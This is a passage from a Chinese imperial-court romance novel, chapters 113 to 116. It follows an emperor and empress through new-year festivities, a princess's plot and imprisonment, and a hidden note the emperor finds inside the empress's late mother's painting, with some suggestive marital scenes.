岑璠听不得这些,转过头去,捂住了他的嘴,他反手握住她的手腕,将那只手拿下去。 “皎皎可是害怕再怀上?”元衡道:“朕真的没有骗你,有那香囊在肯定不会的,这么快再有,朕也嫌丢人” 他嘴上说的好听,可在岑璠听来不过是哄她的欢好一场的话罢了。 她用力推开他,元衡却顺势倒在床上,看上去就像是她将他一个大男人推倒了似的。 可她自己也动弹不得。 他有力的腿钳住她,两只手也握在她刚刚恢复纤细的腰肢上。 岑璠倒在了他的身上,起初在上,后来不知道什么时候背又挨到了床。 她并不想出声,元衡用手指抵开她的唇齿,在那一声娇吟出口时,便是再结实的龙榻都能听到响声。 他并未沉溺太久,给了她一次后便舒舒坦坦起身穿衣。 刚才那动静对于睡熟的满满而言并不算大,元衡低头看了眼女儿,浅浅一笑,出门时吩咐宫人进屋收拾。 元衡走时放下了帐幔,芸蚕不敢冒犯帐中的皇后,却又怕她睡下,便轻轻唤她:“娘娘?” 岑璠应了一声,芸蚕笑道:“娘娘从外面回来,想必也累了,不如先去沐浴吧。” 帐幔中的人徐徐坐起身,身影曼妙,根本看不出是刚生育过孩子的妇人。 岑璠披好衣裳,掀开帐幔,芸蚕见她站得不稳,扶着她走向妆台,帮她卸钗,雪白的颈间藏的红印若隐若现,像是一朵艳红的梅花。 在芸蚕的印象里,先帝对待宫里的妃子向来是雨露均沾,那位废后表面上也大度,起码在侍寝这件事上是这样。 先帝勤勉,去后宫的时辰也固定,也不曾赖在刚生产后的妃子住所,行床笫之欢。 如今的皇帝,虽也勤政,却什么都随着自己的性子来,皇后才刚出月子,这已经是第二次,还是在白日… 这一胎皇后娘娘未能诞下皇子,可到底小公主还未断母乳,倒也不必操之过急吧。 芸蚕不敢妄议,帮岑璠散了头发,拿来一件狐裘给她披上,扶她去了汤池。 汤池中的水已经备好,雾气氤氲,没了男人叨扰,岑璠便又想起今日虞佑柏的种种反应。 他说他没再见过她的母亲,也没见过母亲的那幅画。 那种表情理直气壮,仿佛她真误会了他似的。 可皇后为何要将她母亲的画留在宫中?那么多年过去,她的父亲当真什么都不知道? 若她的父亲真在装,是想以此作注,让她不敢杀他,那便是装的太像了,就连她都要敬佩这位父亲了。 岑璠身子往下沉了沉,正在替她捏肩的宫女放开手,舀了些热水,洗她的头发。 水顺着她的脖子而下,淌过牙印的位置,岑璠不由打了个激灵。 那宫女跟着吓了一跳,慌忙问道:“娘娘可是觉得水冷了?” 岑璠摇头,“没有。” 她回头问道:“你可知陛下去哪儿了?” 宫女知道两人有时会一同沐浴的事,即便是娘娘怀孕,陛下有时也会跟着进去,说是怕娘娘摔着… “奴婢方才听闻,是韩大人把陛下叫走了。”宫女道:“娘娘是要陛下来吗?” 岑璠转开头,“不用了…” * 这些日子宫中准备过年夜宴,宣光殿被收拾了出来,就好像那位皇后从来没有存在过一般。 除夕那日,宫里燃放起了鞭炮,挂上桃符,竟也显得有几分热闹。 小姑娘正是爱哭闹的时候,放爆竹的地方离得远,倒没有吓到她。 宫中夜宴,小姑娘带上一顶小帽,被抱了出去。 来夜宴的,依旧是那些皇宫贵族,除此之外,还有一些大臣。 她记得元斓应当也在京城附近,在满满满月宴时,这位姑姑便没有被邀请,如今夜宴也没有出现。 满满还吃不得席面上的东西,也听不得太大的声音,在见过那些还不认得的叔叔伯伯后,便被嬷嬷抱了下去。 席间鸾鸣凤奏,不绝如缕,岑璠也向来不喜欢这些场面,宴席过半,便借着要去喂满满,由槿儿陪同,乘坐轿辇回含章殿。 元衡未留她,允她先回去,还亲自吩咐人去备轿。 岑璠起身行了一礼,自大殿的后门而出。 那抬轿辇就在门外,除了抬轿的宫人外,后门还有两个人等着。 一个是元斓,另一位她看着面生,却有些印象,看那穿着,那应当不是驸马。 元斓见到她,莞尔一笑,从容端庄地行了一礼,“皇后娘娘。” 岑璠笑了笑,道:“公主既是来了,为何不进去?” “是陛下不让本宫进去。”元斓坦白承认道:“陛下不想让本宫与皇后娘娘见到,想到一些不好的事,惹娘娘不快。” 岑璠轻瞟一眼,目光又落在她一旁的人身上,“公主既不得入殿,为何不回去,与驸马同乐?” 元斓未怒,道:“陛下倒也未赶本宫走,本宫在这里等着就是。” 她仍是一副笑容,边说边从袖中拿 出一副小巧的金镯子,“说来我这个当姑姑的,还未给小侄女送过什么。” 她将镯子递出去,岑璠低眼,手不曾有伸出的意思。 元斓嗤笑一声,“皇后娘娘是不敢吗?” “只是本宫的一点心意罢了。” 岑璠道:“公主的心意还是让陛下收吧。” “娘娘如今倒是听陛下的。” “你不必激我。” 岑璠说完这句话便离开了。 回到殿中,小姑娘果然醒着,只不过安安静静的,并没有哭闹。 嬷嬷正在轻哄,还有紫芯在一旁逗弄。 嬷嬷道:“奴婢还以为娘娘不回来,公主方才饿了,便先喂过了。” 岑璠颔首,问道:“乳娘呢?” 紫芯道:“苏媪她说听烟花听的头痛,先回去了。” 岑璠皱起眉,她记得乳娘往年也是喜欢热闹的,在彭城时她不爱出门,乳娘还常会劝她出门走走。 “乳娘她可是哪里不舒服?”岑璠问道。 槿儿也觉得不甚放心,“我去看看阿娘。” 岑璠点头,留在殿内和钱嬷嬷一起哄小姑娘睡觉。 不过一会儿,满满便睡着了。 钱嬷嬷欣慰地笑了笑,给小姑娘曳了被角,岑璠道:“公主这些日子哭闹,嬷嬷费心了。” 钱嬷嬷不曾想皇后会向她道谢,连忙摆手道:“公主已经是奴婢见过最听话的孩子了。” 岑璠愣了愣,轻笑道:“是吗?” “娘娘这是头胎,可能不知,小孩子到这个时候便是这样。”钱嬷嬷轻轻晃了晃摇床,道:“像小公主这样,一哄便能睡着,已是极好带的孩子了。” 岑璠目光多停留在这位奴婢身上几刻,这位嬷嬷年纪不算大,能当宫里的乳娘,想必也有刚出生的儿女,家世也必不会算太差。 “嬷嬷的家人呢?今日不一起过年吗?” 钱嬷嬷摇头,“奴婢的男人一年前战死了,至于奴婢的儿子…” 面前的嬷嬷收起了一些笑容,微微一叹,“奴婢出身寒门,夫家子嗣凋零,二房缺个孩子,婆母知奴婢有改嫁的意思,便想将那孩子过继给二房。” “那…过继了吗?” 嬷嬷抿起唇,淡然一笑,“那孩子既冠夫姓,便是夫家的人,奴婢哪里有不同意的道理。” “不过奴婢不后悔,能做公主的乳娘,将来说不定还能出宫二嫁,要比守着那一大家子强。” 岑璠沉默了许久,问道:“嬷嬷当真舍得那个孩子?” “哪里舍得…”嬷嬷道:“当初奴婢离开的时候,也哭了好一阵呢。” “不过后来想了想,奴婢既有二嫁的念头,离开那孩子也是为他好,多这么想想,便也过去了。” “所以若是一个母亲同孩子不辞而别,不一定是不爱这个孩子了,是吗?” 她问的时,似乎对嬷嬷的回答充满了期待。 嬷嬷点头道:“当然,这世上哪有母亲不爱自己的孩子的?娘娘也是母亲,应该知道的…” 岑璠转而看向满满,眼眸间漾起一点笑意,温柔如水,“我明白了,多谢嬷嬷。” 嬷嬷自认为禁不起皇后这么道谢,“能为娘娘解惑,是奴婢之幸。” 满满已经睡熟,嬷嬷见她若有所思,便起身告退。 乳娘走后不久,槿儿便进来。 岑璠将那幅画从宣光殿中摘下的画拿了出来,正仔细端详着。 她将那幅画平铺在桌上,问道:“乳娘怎么样了?” 槿儿走近,道:“乳娘她应当是着了风,头痛,肚子也跟着难受,方才出恭回来呢。” “可要找个太医看看?” 槿儿摇了摇头,“宫里的太医也要过年,我们几个跟着姑娘享了福,倒也不是金贵,我来照顾阿娘便是。” “那便辛苦槿儿了。”说罢,岑璠的视线又回到那幅画上。 “姑娘可有看出来什么吗?” “还没有…”岑璠低头看向那幅画,似是在问槿儿,又似在问自己,“你说母亲留这幅画是为了什么呢?” 槿儿盯向那幅画像,也没有头绪。 两人沉默了片刻,谁也没有说什么。 天色晚了些,夜晚要守夜,岑璠卸了妆钗,元衡才热热闹闹地闯进来。 他似是在席间喝了许多酒,推开门的声音不算小。 他之前也有处理公事晚归的时候,却总怕吵到满满,进来总是小心翼翼的。 她记得方才走时,他还分明没喝多少酒。 她沉静的目光中带了审视,元衡似清醒了些,路过小姑娘的摇床时,步子放轻。 然而走向她的时候,脚步又变快了些。 元衡站定在她面前,岑璠坐在妆台前,并未站起来。 “陛下怎么喝酒了?” 元衡跪坐在她身后,眼尾有一抹红,脸色醉红,却留有不明不白的情愫,“朕方才在殿外见到了元斓。” 他侧头问她,“知道她为何会来宫中吗?” “陛下不妨说与妾身听听?” 他环住她,笑着在她肩上不轻不重咬了一下,“朕有没有同你说过,朕不喜欢你这么称呼自己?” 岑璠自己也不习惯,只不过是方才在宴席上一直这么自称,一时说顺口了。 他也应当知道,自己不喜欢这么称呼自己。 用这种语气同她说话,应当是真醉了。 他倒也没多同她计较称呼,继续说道:“元斓前几日便修书送到宫中,闹着要与驸马和离。” “那驸马的确对她不忠心,狎妓纳妾,饮酒做欢,她大概觉得朕会偏袒她,也没想过朕在帮她建公主府之初,便在她身边安排了人。” “那公主她要做什么?” 元衡不悲不怒,像是在嗤笑她的愚蠢,“她与军镇那边书信频繁,他们正盘算,待朕下令允二人和离后,便除掉驸马,若是南边借此开战,他们便与柔然里应外合,到时候朕便是挑起战事的罪人。” “她倒是也不想想,若是他们借此讨伐朕,她这个和离的公主会有什么好下场…” 岑璠这些日听过太多荒唐事,元衡这么说出来,竟是没有感到一丝意外。 “那陛下打算如何处置?” “朕今日让她来,骗她说是要下旨允她和离,但其实朕没打算让她回去,将她囚在了浮华宫,你说朕这算是心狠还是心软?” 他这般做法,不傻的人其实都能猜出心思来,道:“陛下只不过是想给公主一个机会罢了。” “朕的确不想杀她。”元衡道:“可朕也不想放过她…” 他声音似在颤抖,仿佛用尽了所有的力气,才没有泄漏出杀意,咬着牙说出这样一句话。 岑璠在他怀中静坐,他的胸腔起伏,深呼出一口气,平静道:“等过完年后,朕还想去趟军镇。” 岑璠自是记得,他在军镇还有一个亲人,与元斓书信往来的,也必定是他的那位至亲。 古时的皇帝总是自称寡人,而如今他的亲人,似乎也不多了。 他说完这句,却是臂收紧了些,岑璠感觉自己几乎要嵌进他的身体里了一样。 “朕不在的日子,皎皎便待在家中,哪儿也不要去,可以吗?” 第114章 第一百一十四章画上有古怪 “陛下说笑,妾身还能去哪儿?” 那双凤眸绽开一个笑容,岑璠看不见他眼底的颜色,却能听见耳边的轻笑。 那声音低沉而混浊,“说的也是。” 他放开她,从怀中掏出一封信来。 那封信被揉的皱皱巴巴的,像是一团废纸,可那张洒金红笺却剪出了花,十分精巧。 “这是什么?”岑璠有些不解。 元衡道:“这是郑氏的婚帖,有人托朕送给你。” 岑璠接过婚帖,那张纸上的字迹是阿湄的,婚帖是她亲自书写。 他们的婚宴在华山郡,就在一个月之后,只是一场小的家宴,也许连家宴都算不上。 “朕去军镇可能回不来,他们婚宴那几日,朕会派人送你去。” 岑璠转过头,想要问他更多,却只是同他对视,等着他先开口。 元衡道:“皎皎是觉得朕会不让你去吗?” 他一双眼睛充满无辜,透过那双深瞳看去,似带有醉态,像是能摄人心魂的妖魅。 岑璠很快便又冷静了下来,“陛下难道没有想过吗?” 元衡轻笑,“还是什么都瞒不过皎皎。” “朕当然想过。”他不加遮掩地承认,“可后来朕想了想,皎皎除了回到朕和满满的身边,还能去哪儿呢?” 她孑然一身,既无父母牵挂,又无手足相念,想来还真无其他去处。 岑璠嘴角弯起了笑,“那便多谢陛下派人送妾身。” 她生气的时候便总是这样,用最客气的语气同她说话。 元衡也不愿再同她说这些,转而看起她手边的那幅画,“皎皎还在看这画吗?” 他似是还醉着,扫了一眼,便握住那幅画,一点一点卷起来,嘴上还念叨,“有什么好看的,你 不如多看看朕…” 岑璠听后眉一竖,顾不得他皇帝的身份,拍在他的臂上。 元衡动作一顿,恍然明白什么,倒是不顾及什么面子里子,向那幅画道歉,“岳母大人见谅…” “皎皎若是看不出来,不如把这幅画借给朕,朕帮你看看。” 他没等她回答,便又自觉将那幅画展开。 一幅普普通通的美人图,图上的人坐在榻前绣着花样,没什么特别的。 元衡看来看去也看不出什么,却又不肯承认,歪着头问道:“关于这画,岳母可有说过什么?” 岑璠表示过不喜欢他叫岳母,他却执意要这么叫,她也懒得再去纠正。 “我不知道。”岑璠看向那幅画,“阿娘回来的时候,神志不清明,只说想要这幅画。” 元衡撇了一下嘴,没再问什么,将那幅画卷起后,又凑近些,一股酒气扑面而来。 “你同意我叫她岳母了?” 前言不搭后语的。 岑璠眼眸一转,“你这般泼皮无赖,我除了替母亲认下你这个女婿,还能做甚?” 元衡没有反驳,反倒是笑了,那笑容让人很是招人厌。 岑璠抿住唇,刚想再说什么,他的唇却啄上她的脸颊,如同蜻蜓点水一般。 “朕确实是无赖。”元衡承认,“还记得去岁这个时候朕问了皎皎什么吗?” 他问过她太多问题,岑璠不记得。 可他问的最多的,无非便是她爱不爱他,能不能永远留在他身边。 去年这个时候,她似乎与他下了一整夜的棋。 元衡看得出,她确实不记得他问过什么。 “朕那时问你,如果朕帮你报了仇,你能不能留下。” 他伏在她的肩上,呢喃轻语,“你能留下来就好。” 这句话似是她亲口告诉他的一样,宣告着一切尘埃落定。 不论上一世如何,这一世如何,都被他的这份强求抹去,成为他的掌中痣。 那气息愈发沉重,时而像羽毛轻扫,时而像贴在肌肤上的绸缎,裹挟着浓浓的酒气,味道很不好闻。 岑璠提醒道:“陛下应当是醉了。” “知道,是有些醉了。”元衡握住她的圆肩,将她扭正,鼻尖轻触,“皎皎,今年朕不想同你下棋了。” “长夜漫漫,我们有时间做些别的。” 夜的确很长,星月缓缓移动,凝聚成一条白练,又在夜幕中疏散开。 床帐紧闭,依旧没有太大的声音,怕惊扰到沉睡的姑娘,只有隐忍的呼吸声。 岑璠不知道,为何即便是诞下了孩儿,他还会如此热衷于她的身体。 一遍又一遍,她自己都数不清来来回回多少次了… 他说他不纳妾,却丝毫不克制自己的欲望,一旦有念头,便全部朝她而来。 岑璠实在是招架不住,却又喊不住停,一来二去,最后一次倾泻已经到了四更,她爬在他的胸口喘息,紧接着睡了过去。 元衡看得出她是累极,便是让人将小姑娘抱了出去,后半夜得以安眠。 翌日,作为帝后还要早起,沐浴礼佛,求神明庇护。 午时外邦使臣前来拜贺,世家大臣也来宫中拜年,宫中设宴同庆,歌舞升平,宴席散时偶见群鸟归巢,一派祥瑞之景,文臣赞叹抒怀,作诗一首,道说时和岁稔,四海承平,引得大赞。 宫中往年晚时本还设有宴,由宫中嫔妃携皇子公主参加,元衡宫中未有嫔妃,居于后宫中的也不过几个太妃太嫔。 至于兄弟手足,大皇子未受开蒙,很少来宫中宴席,前些年先皇四十大寿还闹出过笑话,胡氏所出的四皇子出宫养伤,五公主被禁足宫中… 宫宴邀请这些个手足,倒是不如不请。 元衡索性取消了初一夜宴,自己说了几道皇后平日喜欢吃的菜肴,打算晚上和自己的皇后一道贺新春。 远在北地的军镇不贺春,情报源源不断被送入宫中,行程在即,元衡并未跟岑璠回去,而是前去西堂查看军报。 翻了翻折子,墨群却是在外求见。 元衡放下折子,让他进来,墨群进殿跪地行礼。 元衡多看了他几眼。 自他登基后,墨群便一直守在他们所居的含章殿附近,不受宫中禁军所制,和过去相比,除了不常在岑璠身边,倒也和从前没什么差别。 元衡知道,墨群前来找他,八成与岑璠有关 “说吧,有何事?” “陛下,今日宴间,有人前去浮华宫。” 那浮华宫是元斓的住所,如今也是囚禁之所。 元衡放下手中的笔,问道:“是含章殿的人?” 墨群有些犹豫,头又低了些,“是皇后身边的人。” 他似也有些想不通,眉头微皱,“属下应当没有看错,那人是…皇后身边的乳娘。” 元衡眼睛动了动,显然也没有想到,又重复问了一遍,“乳娘?” 墨群确认道:“属下没看错,是乳娘。” 元衡沉默了许久,纵使他的眼线铺满整个大魏,知天下事,也猜不出一个远在彭城的乳娘能与浮华宫那里什么关系。 八竿子打不着的人,能有什么关系呢? 他实在想不通,却又不敢去向岑璠试探。 她虽总是与世无争,可向来心思敏锐,他向来不怎么关心她身边的人如何,若贸然问太多,她必会生疑。 她好不容易打消了离开的念头,他冒不起一点风险。 “苏媪认得你,你也不好时刻盯着,朕会派人手这几日注意此人的动向,你这些时日去查查她的来历” 那声音没有什么起伏,墨群也从中听不出什么情感,可他还有一件事要确认,“那皇后那边” 元衡许久没有说话,漫长的停顿,终究是泄露出了一丝恐惧和彷徨。 “先不要告诉她。” “属下知道了。”墨群拱手道。 元衡抿住了唇,墨群并未离开,他还想说什么,也期待眼前这位帝王能再多替皇后考虑些什么。 可他看见这位帝王神色越来越凝重,眼中混杂着浓郁不散的墨色,被眼底的猩红一点点侵蚀,那威严挺立的胸膛似都弓了下去,那种不安和普通人并无差别。 过了许久,他似是才又注意到他,抬起眼时竟如同刀锋抵在他的脖子上。 “你为何还在这儿?” 墨群从那眼神中敏锐地捕捉到被他藏起的一丝杀意,迅速低下头去,“属下告辞。” 元衡的目光随之移动,直到那扇厚重的殿门又关上,才垂下眼眸。 他刻意回避,不去想刚才的一切,拿起那卷军报,却没有一刻心思再去读。 许久之后,他将那卷军书扔在桌上,竹简摔在桌上发出清脆的响声,伴随着随后的一阵长久沉默。 他终究是屈服了。 屈服于一直被他压制的不安,自从她带着人杀了胡氏,报仇之后一直埋藏在心中的患得患失 他好不容易盼来了和她的孩儿,好不容易为她打造好了那棵她愿意栖息的梧桐。 可命运却不肯给他们片刻的宁静,来让他将她再抓牢一些。 她身边的乳娘同元斓有联系 会有什么联系,他也不知道,他只知道,有的时候,往往越是不想失去的,越有可能横生变数。 元衡心乱如麻,一来二去,竟是拿起了今晨从含章殿顺出来的画。 昨日他是有些醉了,却到底还记得自己做了什么,说了什么。 他知道她的母亲给她留了这幅画,而她想知道,她自己的母亲为何要给她留下一幅画 他也想知道,而且想要比她更提前知道。 他醉时并没有太仔细查看,这次便是一点点将那幅画的一笔一画都收进眼底,甚至连画中人在绣的花样都看了进去。 可那绣的也不过是普通的牡丹花样,并无什么特殊。 他不肯放弃,比她执念还要深,非要看出些什么,一直看到天色都沉了。 可那幅画实在太普通,甚至普通到连一个字都没有。 没有字 元衡记得他收过几幅岑璠的画,她总会在上面提几个小字,或者是自己的名字。 没有字,对于一个丹青手来说,便是不寻常。 元衡呼吸渐渐急促起来,眼睛仔仔细细看向那幅画,寻找上面可能隐藏的字迹,却还是一无所获。 他久久盯着那幅画,久到宫人提醒,说晚膳已经备好,问他何时会含章殿。 元衡深呼吸,答了一句,转了转那画轴,不甘心地又多看了一眼。 目光刹那间注意到了什么,他手指顿住,将那幅画拿近了些,看了看画轴的左端,又看了看右端。 那张画的画轴两端似有些差别,一端嵌合的恰到好处,另一端却似有粗糙的接口,隐隐有一道白线。 他伸出手去,指腹摩挲,感觉到那左端的白线处似是一道接口 他刚才的大部分注意力都集中在那幅画上,或许岑璠也是这样。 可万一她阿娘想留给她的东西,并不是画本身呢? 元衡想 明白了什么,手指捏向画轴的左端,用力往外拔,那画轴像是被什么东西黏在了一起,拔不开,可衔接口却越来越大。 元衡咬紧牙,用力往外旋,忽然那画轴左端的圆钮一松,竟是被旋开了。 第115章 第一百一十五章守好皇后 含章殿内 满满醒的时候越来越长,岑璠刚回去时,嬷嬷和几个婢女正在一旁收拾,像是给小姑娘刚换过尿布。 最后一个婢女从满满身边离开,小姑娘趁机握紧了拳,像是要把整个肉乎乎的拳头塞到嘴里。 只是嘴实在太小,小手被塞进去一半,沾上了口水,最终还是没有塞进去。 岑璠轻轻一叹,走上前去,握住满满的手,将她的手从嘴里拿了出来。 钱嬷嬷回头一看,便知道是满满做了什么,“小祖宗,怎么又开始吃手了?” 岑璠低眼看着那小姑娘,小姑娘瞪着圆溜溜的眼睛,懵懵懂懂地看着她,不像是知道自己做了坏事。 岑璠记得珝儿儿时也喜欢吃手,阿娘总是将他的手这样拿出来,耐心地讲着道理,还说她儿时的时候也是这般。 即便是皇家出生的孩子,在这个时候也只是个孩子,不懂那些纷扰,和普通的孩子没什么两样。 岑璠妆容未去,轻轻一笑,牵动着额头上的花钿绽放,耐心道:“满满莫要吃手,不干净。” 小姑娘像是能听得懂话,嘴还张着,胳膊却松了力气,安安静静地躺在那里,嘴角还有一丝口水。 “满满真乖”岑璠坐到她旁边,用小帕将她嘴角的口水拭去,拿起旁边的一串金摇铃逗她。 岑璠对自家的姑娘是在了解,她就喜欢这些东西。 没过一会儿,小姑娘似乎就忘了自己还有一双手可以咬,胳膊摇摇晃晃,要去抓她手里的金铃铛。 陪着满满玩了一会儿,有太监从外面带了话过来。 岑璠认得出,那是守在太极殿的太监,如今常在元衡身边的人。 那小太监说,皇帝处理完公务便会回来,和她与公主一起共用晚膳。 不仅如此,还特意同她带了句话,说是皇帝亲自点了好几道她喜欢吃的菜。 他似乎很喜欢向她说起自己的行程,平日里回来晚些也会如此,岑璠已是习惯。 岑璠不喜欢带冠,将小姑娘安顿好后,便让芸蚕几个给她卸去了发冠。本想留几只簪钗做点缀,后来实在太困,便索性让云蚕把所有的发簪都卸了,将妆洗净,躺去床上小憩。 昨日他不知轻重地折腾她到三更天,这一睡,便是连天都暗了。 再醒时,殿内除了小公主的乳娘还有芸蚕,还多了一人。 那人静静的坐在那里,目光落在小姑娘那里,却是心不在焉,不过一会儿便和她的目光相接。 “皎皎醒了?”他平静地看着她,目不转睛,却又一句话不说,让岑璠觉得甚是反常。 她坐起身,问道:“陛下怎么了?” 他说话时极轻,声音带着些混浊,转瞬间却又恢复了平常,“饭菜都已经备好了,皎皎快来吃吧。” 岑璠鼻尖也闻到了饭香味,午时的宴席是为外邦使臣准备,她吃不惯,也不自在,吃的并不算多。 她坐起身,芸蚕给她递来衣裳穿好。直到走到元衡面前,小姑娘的手还抓着自己的父皇的拇指不愿松。 元衡低下头去,轻轻拨掉小姑娘的手,揽着岑璠的腰向外间走去。 午时宴席散后,皇宫内便恢复一片寂然,皇帝未有后宫,兄弟姐妹该伤的伤,该反目的反目,晚宴竟成了二人对饮。 桌上的确摆了椒柏酒,可岑璠还要喂奶,准确来说是元衡一个人独饮。 元衡却觉得这样没什么自怨自艾的,他觉得他们一家人的小宴,要比那推杯换盏的宫宴好许多。 起码对着她,可以真情流露,也可以偶尔窥见她的真心。 一直这样,其实便很好。 方才那封信,他最终还是打开了。 他知道她若是看见,肯定会崩溃,会无措,也可能会因此生出什么别的念头… 心底的执念又冒了上来,他拿起酒壶给自己斟了杯酒,一饮而尽,藏起那点异样。 “陛下这是怎么了?”岑璠却是问他。 “没什么…”元衡笑了笑,指向桌子上的菜,道:“这些菜是朕点的,都是皎皎喜欢吃的。” 岑璠扫了扫铺了满桌的菜肴,有生鱼片,鸡寒、还有几颗咸杬子,除此之外,还有蜜米饼,绿豆糕,几道小凉菜,有很多确实是她喜欢吃的 她目光铺扫,元衡先截住了她的话,“你也别嫌这些东西多,就当是过年陪朕,图个喜庆。” 岑璠目光移开,待到他动了筷子后,也夹了一块儿绿豆糕。 纵使再怎么吃,两个人动筷,也实在冷清,岑璠这几日从未吃的如此饱腹,觉着实在吃不下,终于还是停了筷子。 最终那满桌的菜肴,还是像没有动过一般。 这位向来节俭的帝王,却似乎并不觉得有多浪费,也停下了筷子,闷头喝起酒。 “陛下这几日喝的有些多了。”岑璠道。 元衡并没有否认,却不肯承认自己醉了,“朕酒量还是好的,从小就很好…” 岑璠没反驳他,也没打算说什么,元衡却是冷不丁又说道:“朕还记得昨日说过,要帮你看一看那幅画呢。” 岑璠闻言,目光落向他,她的黑眸清亮透彻,目光里映着他,照的元衡有些心虚。 他低下眼,道:“那幅画朕今日拿走又看了看…” 岑璠看向他,“那陛下可有发现什么?” 元衡将杯中的一杯酒饮尽,嘴中含着一口酒,许久才咽下道:“还没有” 他问道:“皎皎可能想起,岳母临终前都说了些什么,比如说为什么要将这幅画交到皎皎手上?” 岑璠的确不知道,“阿娘临终前已经不清醒了,那时她睁开眼便要找这幅画,我觉得这对她而言,肯定是很重要的东西。” 元衡静静听着,似是想了许久,又问道:“那苏媪她当年是随岳母一起去的吗?她可有说什么?” 岑璠摇头,“乳娘是和阿娘去了京城,但当年母亲进宫时,乳娘却一直在宫外。” “我也困惑过,为何乳娘会不知道母亲说的那幅画,后来想了想,觉得那幅画很大可能是母亲在宫中画的。” “那皎皎为何一定要得到那幅画?” 岑璠觉得他可能是喝醉了,一时想不过来,耐心解释道:“那是母亲临终前想得到的东西,我当然要为她争到,况且” “况且什么?” 岑璠话音顿了顿,道:“乳娘说过,母亲临终前唯一的遗愿便是向皇后报仇。可我这些年一直想不通,母亲既是要找皇后报仇,为何只字不说父亲。” 她知道,母亲是皇后打死的,可这一切的始作俑者是她的父亲。 虞佑柏,才是那个最该死的人。 她不肯接受母亲爱惨父亲的事实,爱到愚昧,爱到让她丢了性命却选择原谅。 “也许那幅画里有更多真相,还有关于父亲的事。” 也许到那个时候,她就可以拿着母亲的画对着珝儿说,不是母亲不想要这个家,他们的家是父亲亲手拆散的。 元衡静静听着,目光不知落在何处,“若不是这些呢?” “什么?” 元衡看向她,目光触及的那一刹那却又躲开,“我是说,若这些都不是呢?不是你的父亲,也不是皇后?” 岑璠不太明白他的意思,元衡也不知道如何同她说起。 他又抿了一口酒,才又说明白了些,“我是说,岳母肯定不会像朕的父皇那样,除了皎皎说的那些仇,或许也是想借画同皎皎说些什么吧” 可那幅画上画的是母亲自己,就算是母亲留下的遗愿,也是关于自己 岑璠皱了皱眉,否认道:“应当是不可能。” 元衡悄然闭上了嘴,“或许吧。” 他轻轻笑了笑 ,“关于那幅画,只要皎皎想,朕会帮你看明白的” * 初十过,未至上元,便要启程。 出发去军镇的当晚,元衡在太极殿内坐了许久。 烛台中的蜡烛烧了一半,烛光摇曳,如梦似幻。 一叠叠军报阅毕,叠放整齐,元衡却没有立刻起身,回含章殿看自己即将别离的妻儿。 他的手旁放着一幅画,一只手中捏着一张泛黄的纸条。 皇宫内的烛用的都是极好的蜡制成,可这支烛的烛光却烧的极不稳,焰火凌乱。 忽然那烛爆开一下,元衡醒过神,低下头去,手指微微动了动。 那泛黄的纸条被卷起,他手缓缓移动,将那张纸条对准画轴。 手放开的一刹,那张纸条便滑落到了画轴里。 元衡静坐了很久,才又将画轴一端的圆钮旋紧,未在用米浆封存,叫来了人。 他维持一个姿势坐着,直到殿外的人通报,才动了嘴唇,“进。” 进来的人是墨群。 元衡淡然问道:“苏媪的事查的如何?” 墨群道:“有些眉目,但尚不明朗。” 元衡未责怪,也并未好奇他查到了什么,只吩咐道:“等到查清楚了,你将这幅画还给皇后吧。” 他将那幅画抛给墨群,墨群虽有不解,却也没多问,“属下遵命。” 元衡说罢,没有叫他下去,墨群也知道这位主子的习惯,并未出声提醒,静静等着他的下一道命令。 许久之后,帝王才又开口,“朕不在的这段日子,看好皇后。” 第116章 第一百一十六章真相 留给虞氏的期限不过短短几日,关于那幅画还是没有任何消息。 元衡知她眷恋宫外事务,没有阻止她出宫,甚至还劝过她在上元节那日穿便装,出宫转转。 岑璠觉得满满还小,带不出去,决定留在宫中陪她,只打算让槿儿和紫芯出宫,带回来些小玩意儿给满满玩。 离上元节还有两日,芸蚕送来了一份宫人草拟的置办单子,除了些民间常见的甜点,还有满满可能喜欢玩的小玩意儿。 那张单子满打满算有二十多样东西,岑璠觉得太多,便做主划掉了一半。 槿儿正在一旁逗着满满,这小孩一天一个样,如今不用再靠岑璠帮她抬头,醒时便自己躺在摇篮里转头,像是对周围的一切充满了好奇。 芸蚕走后,也差不多到了满满该饿的时候,槿儿将小姑娘抱到岑璠身边,岑璠自然地解开衣裳。 槿儿问道:“姑娘准备给公主买些什么?” 岑璠道:“就是些小东西罢了。” 她低头看小姑娘,轻轻抚了抚她的头,“民间的灯笼比宫里做的有意思,让满满多见见也是好的。” 槿儿对于这点很是赞同,这些日她陪岑璠出席了不少宫宴,宫中过年虽是排场大,可确实少了些民间该有的热闹。 槿儿道:“陛下都说了,姑娘也该出去看看的。” 岑璠道:“陛下无非是想同我说些开心话,陛下因军镇之事离宫,朝中局势本就不稳,怎可允我出宫?” 槿儿想了想也觉得有理。 可回想那日皇帝走时的态度,却又不像是在哄自家姑娘,倒像真想让姑娘出去看看上元节 槿儿没有再劝,岑璠却道:“乳娘的病也好了许多,槿儿不若再去劝劝乳娘,让她明日和你们一起出去罢。” 入了宫门,想再出去实在不容易,元衡今年允许他们出宫,说不准过一年便改了主意。 槿儿摇头,道:“乳娘说她老了,闹不动,让我们几个出去便好。” 岑璠点了点头,又低头看起怀里的小姑娘。 槿儿不知道她的打算,凑上前悄声问道:“姑娘可是打算等上元节过后去虞家?” “去。”岑璠斩钉截铁道。 槿儿知道她这是拿定了主意,四处找了一圈,问道:“那幅画可是被陛下拿走了?” “陛下可有说什么?” “他也看不出来。” “那若是虞氏也不肯说,姑娘打算怎么办?” 岑璠一笑,似是不在乎,眼瞧着小姑娘吸吮地越来越慢,便知道这孩子是吃饱了。 她用手指抹掉小姑娘嘴边的奶渍,声音愈发淡然,“还能怎么办?虞佑柏本就是胡氏扶持起来的人,自是该查办的查办,该下狱的下狱。” “那小公子…姑娘打算怎么办?” 岑璠脸色黯淡了一瞬,却很快恢复了不近人情的模样。 “他是虞氏的人,自然是看陛下给虞氏定什么罪,一并处置。” 槿儿听后,也一时捉摸不透她真实的想法。 可她总觉得姑娘不会那么心狠…。 * 上元当日,宫中未摆宴席。 帝王不在,宫门紧闭,可元衡到底是在临走前安排了一番。 白日一封书信交到了岑璠手上,字迹苍劲有力,是元衡亲自所书。 他才离开两日,这封信要么是提前准备好,要么是在路上写的 岑璠拆开那封信,里面倒也没什么重要的事,无非是要她在宫里莫要委曲求全,想办的事会有韩泽帮她办,若是有她办不了的便去书信同他说。 还有便是关于满满的一些琐事。 夜幕降临,万家灯火,车水马龙,宫中有烟火绽放,点过天灯,终归不算太过冷清。 天灯渐渐飘远,如同北斗繁星融入天河。 